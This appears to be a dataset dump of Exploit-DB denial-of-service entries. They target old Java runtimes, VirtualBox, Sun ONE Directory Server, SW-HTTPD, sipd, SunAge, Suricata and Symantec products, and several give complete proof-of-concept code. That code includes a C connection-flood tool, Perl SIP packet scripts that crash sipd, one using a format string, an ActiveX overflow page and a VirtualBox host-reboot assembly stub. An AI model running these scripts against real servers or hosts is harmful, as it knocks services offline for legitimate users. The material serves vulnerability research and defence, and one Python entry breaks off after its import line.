deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22359
Description: Sun JDK/SDK 1.3/1.4 / IBM JDK 1.3.1 / BEA Systems WebLogic 5/6/7 - java.util.zip Null Value Denial of Service (2)
Type: dos
Platform: multiple
Date: 2003-03-15
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/7109/info
 
Several implementations of the Java Virtual Machine have been reported to be prone to a denial of service condition. This vulnerability occurs in several methods in the java.util.zip class.
 
The methods can be called with certain types of parameters however, there does not appear to be proper checks to see whether the parameters are NULL values. When these native methods are called with NULL values, this will cause the JVM to reach an undefined state which will cause it to behave in an unpredictable manner and possibly crash.
 
The following proof of concept has been submitted and demonstrates the use of injectable xsl templates, to exploit this issue.

c:\java\1.4.2\00\jre\bin\java org.apache.xalan.xslt.Process -IN a.xml -xsl
sunexploit.xsl


Used Files:

===================a.xml===========================
(a/)
===================a.xml===========================


===========sunexploit.xsl=============================
(!-- XSLT JDK-Exploit by Marc Schoenefeld , marc@at@illegalaccess.org --)
(xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:sun="sun")
(xsl:template match="/")
(xsl:variable name="tmp"
select="sun:misc.MessageUtils.toStdout(null)"/)
(xsl:variable name="tmp2"
select="sun:misc.MessageUtils.toStdout($tmp)"/)
(xsl:value-of select="$tmp2" /)
(/xsl:template)
(/xsl:stylesheet)
===========sunexploit.xsl=============================
Exploit-DB #22360
Description: Sun JDK/SDK 1.3/1.4 / IBM JDK 1.3.1 / BEA Systems WebLogic 5/6/7 - java.util.zip Null Value Denial of Service (3)
Type: dos
Platform: multiple
Date: 2003-03-15
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/7109/info
  
Several implementations of the Java Virtual Machine have been reported to be prone to a denial of service condition. This vulnerability occurs in several methods in the java.util.zip class.
  
The methods can be called with certain types of parameters however, there does not appear to be proper checks to see whether the parameters are NULL values. When these native methods are called with NULL values, this will cause the JVM to reach an undefined state which will cause it to behave in an unpredictable manner and possibly crash.

import lotus.domino.*;
import java.util.zip.*;

public class JavaAgent extends AgentBase {

        public void NotesMain() {

                try {
                        Session session = getSession();
                        AgentContext agentContext =
session.getAgentContext();
                         CRC32 crc32 = new CRC32();
        crc32.update(new byte[0], 4, 0x7ffffffc);

                        // (Your code goes here)

                } catch(Exception e) {
                        e.printStackTrace();
                }
        }
}
Exploit-DB #4432
Description: Sun jre1.6.0_X - isInstalled.dnsResolve Function Overflow
Type: dos
Platform: multiple
Date: 2007-09-19
Author: YAG KOHHA

Exploit:
<html>
<body>
<center>
Sun (jre1.6.0_X) isInstalled.dnsResolve function overflow PoC<br>
Bug founded and code released by Yag Kohha. <br>
Greetz to: <br>
Shinnai, Str0ke <br>

</center>
<object classid="CLSID:5852F5ED-8BF4-11D4-A245-0080C6F74284"
id="target"></OBJECT>
<SCRIPT language="javascript">
var b = 'XXXX';
while (b.length <= 512*512) b+=b;
target.dnsResolve(b);
</script>
</body>
</html>

# milw0rm.com [2007-09-19]
Exploit-DB #23292
Description: Sun Microsystems Java Virtual Machine 1.x - Security Manager Denial of Service
Type: dos
Platform: multiple
Date: 2003-10-26
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/8892/info

A problem has been reported in the Sun Microsystems Java Virtual Machine that occurs when implementing the Security Manager. Because of this, an attacker may be able to crash the virtual machine. 

/* InsecurityManager-Demonstration */
/* coded by Marc Schoenefeld */
public class InSecurityManager extends SecurityManager {

public void doit() {
System.out.println("doit");
int o = classDepth(null);
}

public static void main(String[] a) {
InSecurityManager m = new InSecurityManager();
m.doit();
}
}
Exploit-DB #27171
Description: Sun ONE Directory Server 5.2 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2006-02-08
Author: Evgeny Legerov

Exploit:
source: https://www.securityfocus.com/bid/16550/info

Sun ONE Directory Server is prone to a remote denial-of-service vulnerability. This issue is due to the application's failure to handle malformed network traffic.

This issue allows remote attackers to crash the application, denying service to legitimate users. 

Sample Python code has been provided by Evgeny Legerov that may demonstrate this issue:

from socket import *
Exploit-DB #9323
Description: Sun xVM VirtualBox 2.2 < 3.0.2 r49928 - Local Host Reboot (Denial of Service) (PoC)
Type: dos
Platform: multiple
Date: 2009-08-01
Author: Tadas Vilkeliskis

Exploit:
Sun's VirtualBox host reboot PoC
by Tadas Vilkeliskis <vilkeliskis.t@gmail.com>
Disclosure made at 2009-08-01

VULNERABILITY INFORMATION

Remotely exploitable: no
Locally exploitable: yes
Affected versions: 2.2 - 3.0.2 r49928 for Linux

VULNERABILITY DESCRIPTION

VirtualBox VM is unable to handle fast call to privilege level 0 system
procedures (sysenter). If sysenter instruction is executed on the guest
OS the host machine will reboot. The technique was tested on the
following guest OS: Windows XP, Windows 7 RC, Ubuntu 9.04. It is not
clear whether it is possible to execute arbitrary code on the host,
however this trick can be successfully used by malware as an anti-vm
trick.

POC

; nasm -f elf vmhostreboot.asm
; gcc vmhostreboot.o -o vmhostreboot

BITS 32
SECTION .text
GLOBAL main

main:
    sysenter
    ret

# milw0rm.com [2009-08-01]
Exploit-DB #31958
Description: SunAge 1.8.1 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2008-06-23
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/29889/info

SunAge is prone to multiple denial-of-service vulnerabilities.

Successfully exploiting these issues allows remote attackers to crash affected game servers, denying service to legitimate users.

SunAge 1.08.1 is vulnerable; previous versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31958.zip
Exploit-DB #33735
Description: SUPERAntiSpyware 4.34.1000 and SuperAdBlocker 4.6.1000 - Multiple Vulnerabilities
Type: dos
Platform: multiple
Date: 2010-03-10
Author: Luka Milkovic

Exploit:
source: https://www.securityfocus.com/bid/38645/info

SUPERAntiSpyware and Super Ad Blocker are prone to multiple local vulnerabilities, including:

- Multiple denial-of-service vulnerabilities
- Multiple local privilege-escalation vulnerabilities
- A security vulnerability that may allow attackers to read and write arbitrary files
- An information-disclosure vulnerability

An attacker can exploit these issues to gain elevated privileges on the affected computer, crash the affected computer, gain access to sensitive information, or overwrite arbitrary files. Other attacks are also possible. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33735.zip
Exploit-DB #44247
Description: Suricata < 4.0.4 - IDS Detection Bypass
Type: dos
Platform: multiple
Date: 2018-03-05
Author: Positive Technologies

Exploit:
-----------------------------------------------------
Vulnerability Type: Detection Bypass
Affected Product: Suricata
Vulnerable version: <4.0.4
CVE number: CVE-2018-6794
Found: 25.01.2018
By: Kirill Shipulin (@kirill_wow), Positive Technologies
Severity: Medium
------------------------------------------

About Suricata:
---------------
Suricata is a high performance Network Threat Detection, IDS, IPS and Network Security Monitoring engine. Open Source and owned by a community run non-profit foundation, the Open Information Security Foundation (OISF). Suricata is developed by the OISF, its supporting vendors and the community

Attack Description:
-------------------
If as a server side you break a normal TCP 3 way handshake packets order and inject some response data before 3whs is complete then data still will be received by the a client but some IDS engines may skip content checks on that.

Attack scenario TCP flow scheme:
Client    ->  [SYN] [Seq=0 Ack= 0]           ->  Evil Server
Client    <-  [SYN, ACK] [Seq=0 Ack= 1]      <-  Evil Server
Client    <-  [PSH, ACK] [Seq=1 Ack= 1]      <-  Evil Server  # Injection before the 3whs is completed
Client    <-  [FIN, ACK] [Seq=83 Ack= 1]     <-  Evil Server
Client    ->  [ACK] [Seq=1 Ack= 84]          ->  Evil Server
Client    ->  [PSH, ACK] [Seq=1 Ack= 84]     ->  Evil Server

IDS signature checks for tcp stream or http response body will be skipped in the case of data injection. This attack technique requires all three packets from a malicious server to be received by a client side together before it completes 3whs. Proof of concept server was written in C to reproduce this and it works reliably in local networks. Since some network devices may affect packets transmission exploitation is not so reliable for the internet scenario.

This attack possibly may impact other network monitoring or intrusion detection systems because is not limited to Suricata IDS: an old Snort IDS version 2.9.4 is also affected.

Successful exploitation leads to a complete TCP-Stream response or HTTP response signatures bypass and may be used to prevent malicious payloads from network detection.

PoС:
----
A Working PoC server is available here: https://github.com/kirillwow/ids_bypass
There is also a traffic capture of this data injection technique.

Timeline Summary:
-----------------
2018-01-25: Issue submitted to the bug tracker.
2018-01-30: Patch ready.
2018-02-14: Suricata 4.0.4 containing the fix has been released.

References:
-----------
CVE-2018-6794
https://redmine.openinfosecfoundation.org/issues/2427

Contacts:
---------
Twitter: https://twitter.com/AttackDetection
Twitter: https://twitter.com/kirill_wow
Telegram: https://t.me/kirill_wow


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44247.zip
Exploit-DB #8245
Description: SW-HTTPD Server 0.x - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-03-19
Author: Jonathan Salwan

Exploit:
/*
SW-HTTPD Server v0.x Denial of Service (PoC)

Multiple Connections with GET /A[100] HTTP/1.1
After server not found all pages.

Author: Jonathan Salwan
Mail  : submit [AT] shell-storm.org
Web   : http://www.shell-storm.org
*/

#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"

int syntax(char *file)
	{
	fprintf(stderr,"SW-HTTPD Server Denial of Service (PoC)\n");
	fprintf(stderr,"=>Syntax : <%s> <ip> <port>\n\n",file);
	exit(0);
	}

int main(int argc, char **argv)
{
	if (argc < 2)
		syntax(argv[0]);
	
	int port = atoi(argv[2]);

	int mysocket;
	int mysocket2;
	int srv_connect;
	int sockaddr_long;


        char hexa[100]  = 	"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
			  	"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" 
                          	"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
                                "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
                                "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
                                "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
                                "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
                                "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
                                "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
				"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";

		struct sockaddr_in sockaddr_mysocket;
		sockaddr_long = sizeof(sockaddr_mysocket);
		sockaddr_mysocket.sin_family = AF_INET;
		sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
		sockaddr_mysocket.sin_port = htons(port);

	int i=0;
        char request[118];

        fprintf(stdout,"[+]SW-HTTPD Server %s\n",argv[1]);

for(i=0;i<100000;i++){

                mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
                        if(mysocket2 == -1){
                        fprintf(stdout,"[+]Done!\n");
			return 1;}

	srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
		
	if (srv_connect != -1)
 		{	
		sprintf(request, "GET /%s HTTP/1.1\r\n", hexa);
		
			if (send(mysocket2,request,sizeof(request),0) == -1){
				fprintf(stderr,"[-]Send Request\t\t[FAILED]\n");
				shutdown(mysocket2,1);
				fprintf(stdout,"[+]Done!\n");
				return 1;}
		}
		else{
			fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
			fprintf(stdout,"[+]Done!\n");
			shutdown(mysocket2,1);
			return 1;}

	shutdown(mysocket2,1);
}
return 0;
}

// milw0rm.com [2009-03-19]
Exploit-DB #23431
Description: SX Design sipd 0.1.2 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2003-12-11
Author: storm

Exploit:
source: https://www.securityfocus.com/bid/9198/info

It has been reported that sipd may be prone to a vulnerability that may allow a remote attacker to cause a denial of service condition in the software. The problem is reported to exist in the gethostbyname_r function. An attacker may be able to cause the server to crash by sending a malformed SIP request.

sipd version 0.1.2 has been reported to be prone to this issue, however other versions could be affected as well. 

#!/usr/bin/perl

# SIPd - SIP URI Denial of Service
# Kills sipd version 0.1.2

use IO::Socket;
use strict;

unless (@ARGV == 2) { die "usage: $0 host your_ip [port]" }

my $remote_host = shift(@ARGV);
my $your_host = shift(@ARGV);
my $port = shift(@ARGV);
if ($port eq "")
{
 $port = "5060";
}

my $buf = "OPTIONS sip:A$remote_host SIP/2.0\r\
Via: SIP/2.0/UDP $your_host:3277\r\
From: <sip:$your_host:3277>\r\
To: <sip:$your_host:3277>\r\
Call-ID: 12312312\@$your_host\r\
CSeq: 1 OPTIONS\r\
Max-Forwards: 70\r\
\r\n";

my $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: 
$@\n"; my $ipaddr = inet_aton($remote_host) || $remote_host; my $portaddr 
= sockaddr_in($port, $ipaddr);

send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: 
$!\n";

print "Now, '$remote_host' must be dead :)\n";
Exploit-DB #23444
Description: SX Design sipd 0.1.2/0.1.4 - Remote Format String
Type: dos
Platform: multiple
Date: 2003-12-16
Author: storm

Exploit:
source: https://www.securityfocus.com/bid/9236/info

sipd has been reported prone to a format string vulnerability that may be triggered remotely. It has been reported that sip URI arguments passed to the affected server are not sufficiently handled. An attacker may place format specifiers in the URI and they will be handled literally, potentially allowing the attacker to read from and write to arbitrary memory.

#!/usr/bin/perl

# SIPd - SIP Password Format String
# Kills sipd version 0.1.4 and prior

use IO::Socket;
use strict;

unless (@ARGV == 2) { die "usage: $0 host your_ip [port]" }

my $remote_host = shift(@ARGV);
my $your_host = shift(@ARGV);
my $port = shift(@ARGV);
if ($port eq "")
{
 $port = "5060";
}

my $buf = "REGISTER sip::%s%s%s%s%s%s%s%s%s%s%s%s%s%s\@$remote_host SIP/2.0\r\
Via: SIP/2.0/UDP $your_host:3277\r\
From: \"STORM\" <sip:$your_host:3277>\r\
To: <sip:$your_host:3277>\r\
Call-ID: 12312312\@$your_host\r\
CSeq: 1 OPTIONS\r\
Max-Forwards: 70\r\
\r\n";

my $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n";
my $ipaddr = inet_aton($remote_host) || $remote_host;
my $portaddr = sockaddr_in($port, $ipaddr);

send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";

print "Now, '$remote_host' must be dead :)\n";
Exploit-DB #31271
Description: Sybase MobiLink 10.0.1.3629 - Multiple Heap Buffer Overflow Vulnerabilities
Type: dos
Platform: multiple
Date: 2008-02-20
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27914/info

Sybase MobiLink is prone to multiple heap-based buffer-overflow vulnerabilities because the application fails to perform adequate boundary checks on user-supplied data.

A successful exploit will allow remote attackers to execute arbitrary code in the context of the affected software. Failed exploit attempts will likely result in denial-of-service conditions.

These issues affect MobiLink 10.0.1.3629; prior versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31271.zip
Exploit-DB #40032
Description: Symantec AntiVirus - 'dec2lha Library' Remote Stack Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2016-06-29
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=814

The dec2lha library is the library responsible for decompressing LZH and LHA archives. The CSymLHA::get_header() routine has a trivial stack buffer overflow.

.text:00023D91 31 C0                          xor     eax, eax
...
.text:00023DAE 8D 95 E4 FB FF+                lea     edx, [ebp+var_41C]
.text:00023DB4 89 D7                          mov     edi, edx
.text:00023DC7 66 B9 00 01                    mov     cx, 100h
.text:00023DCB F3 AB                          rep stosd

We can see from this initialization that var_141C is a 1024 byte stack buffer, because 0x100 * sizeof(dword) = 1024. But later on in this routine:

.text:0002442C 88 0C 10                       mov     [eax+edx], cl ; eax = &var_41C edx=index
.text:0002442F 83 C2 01                       add     edx, 1 ; edx++
...
.text:00024408 81 FA 00 10 00+                cmp     edx, 1000h ; if (index > 4096) ...
.text:0002440E 0F 84 E9 02 00+                jz      loc_246FD ; oob

The index is checked to see if it's > 4096 bytes, this is incorrect. This is most likely a simple programmers error, bounds checking with the wrong size.

This code is typically run with SYSTEM/root privileges, I'm using Symantec Scan Engine on Linux to reproduce this issue, but all platforms and products using this code (e.g. Symantec Mail Security) are likely affected.

#0  0xf5606d95 in CSymLHA::get_header(SymLHA::_S_LzHeader*) () from libdec2lha.so
#1  0xf5607af4 in CSymLHA::GetEntry(SymLHA::_S_LzHeader*) () from libdec2lha.so
#2  0xf55e83d5 in CLHAEngine::ProcessChildren(IDecomposerEx*, IDecContainerObjectEx*, IDecEventSink*, unsigned short*, char*, CSymLHA*) () from libdec2lha.so
#3  0xf55e8a8f in CLHAEngine::Process(IDecomposerEx*, IDecContainerObjectEx*, IDecEventSink*, unsigned short*, char*, bool*, bool*) () from libdec2lha.so
#4  0xf5c137b5 in CDecomposer::DecProcess(IDecObject*, IDecEventSink*, IDecIOCB*, unsigned short*, char*) () 
#5  0xf5c143cb in CDecomposer::Process(IDecObject*, IDecEventSink*, IDecIOCB*, unsigned short*, char*) ()
(gdb) c
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Because Symantec do not use -fstack-protector on Linux, exploitation is remarkably trivial. Exploitation is likely still possible on Windows, but may be more difficult as they do use /GS on that platform.

This issue is remotely exploitable just by receiving an email, visiting a website, and so on.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40032.zip
Exploit-DB #40034
Description: Symantec AntiVirus - Heap Overflow Modifying MIME Messages
Type: dos
Platform: multiple
Date: 2016-06-29
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=818

Symantec attempts to clean or remove components from archives or other multipart containers that they detect as malicious. The code that they use to remove components from MIME encoded messages in CMIMEParser::UpdateHeader() assumes that filenames cannot be longer than 77 characters.

This assumption is obviously incorrect, names can be any length, resulting in a very clean heap overflow.

The heap overflow occurs because Symantec does the cleaning in multiple stages, first changing the Content-Type to "text/plain", then changing the filename to "DELETED.TXT". The problem is that during the first stage of this process, they maintain the existing name but use a buffer prepared for the final name.

Something like:

char *buf = malloc(strlen(NewContentType) + strlen(LengthOfNewEncodedFilename) + 100)

// First change the content-type
strcpy(buf, "Content-Type: ");
strcpy(buf, NewContentType;
strcpy(buf, "; name=\"");
strcpy(buf, OldFileName);

...
UpdateName(buf, NewFileName);
...

This obviously won't work, because it doesn't verify that the old name will fit. I've attached an example MIME message that triggers this code in Symantec Scan Engine.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40034.zip